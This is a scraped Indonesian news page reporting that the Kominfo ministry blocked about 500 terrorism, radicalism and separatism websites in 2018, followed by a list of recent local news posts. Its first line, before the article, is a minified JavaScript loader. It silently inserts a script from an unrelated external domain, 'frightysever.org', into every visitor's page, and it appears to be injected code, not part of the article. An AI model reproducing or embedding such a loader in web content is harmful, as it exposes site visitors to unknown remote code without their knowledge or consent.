(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pemerintah Blokir 500 Situs Terorisme Sepanjang 2018


JAKARTA, Kementerian Komunikasi dan Informatika (Kominfo) memberi laporan teranyar, kali ini terkait langkah blokir terhadap situs-situs yang dinilai berkaitan dengan terorisme.

Berdasarkan data dalam rentang waktu Januari hingga November tahun 2018 ini, Kominfo setidaknya telah melakukan pemblokiran terhadap 500 situs yang memuat konten terorisme, radikalisme, dan separatisme.

Berdasarkan laporan Subdit Pengendalian Konten Internet, Direktorat Pengendalian Aplikasi Informatika Ditjen Aplikasi Informatika (Aptika Kementerian Kominfo), dalam database penanganan konten tercatat ada 3 (tiga) situs yang memuat konten separatisme dan organisasi berbahaya telah diblokir.

Sementara untuk situs terorisme dan radikalisme, Kominfo telah melakukan blokir sebanyak 497 situs. Untuk tahun 2018 saja, Kominfo telah menutup akses sebanyak 295 situs yang mengandung konten terorisme dan radikalisme. Sedangkan, untuk situs konten separatisme diblokir tiga situs pada bulan Juni 2018.

“Pemblokiran situs yang memuat konten terorisme dan radikalisme sudah dilakukan sejak 2010 hingga saat ini. Situs yang telah diblokir dominan berasal dari luar negeri dengan registernya lebih banyak bertuliskan dot com,” kata Plt Kepala Biro Humas Kementerian Kominfo Ferdinandus Setu dalam keterangan tertulis dirilis detik.com, Jumat (21/12).

Dijelaskan bahwa tindakan pemblokiran dilakukan atas permintaan Badan Nasional Penanggulan Terorisme (BNPT). Selain itu, pemblokiran juga sesuai dengan Undang-undang Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik Pasal 27 ayat (1) dan (2), Pasal 28 ayat (1) dan (2), Pasal 40 ayat (2).

Meski sudah dilakukan penutupan terhadap sejumlah situs terorisme, radikalisme, dan separatisme, Kominfo terus melakukan pemantauan terhadap situs dan akun dengan menggunakan mesin AIS setiap dua jam sekali. Kominfo juga bekerja sama dengan Polri untuk menelusuri akun-akun tersebut.

“Kementerian Kominfo juga mendorong masyarakat untuk menghindari konten terorisme, radikalisme, dan separatisme. Jika menemukenali keberadaan situs seperti itu dapat melaporkannya ke aduankonten.id atau akun twitter @aduankonten,” sebutnya.(cel/agt/krs/dtc)

Reporter:cel/agt/krs/dtc
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.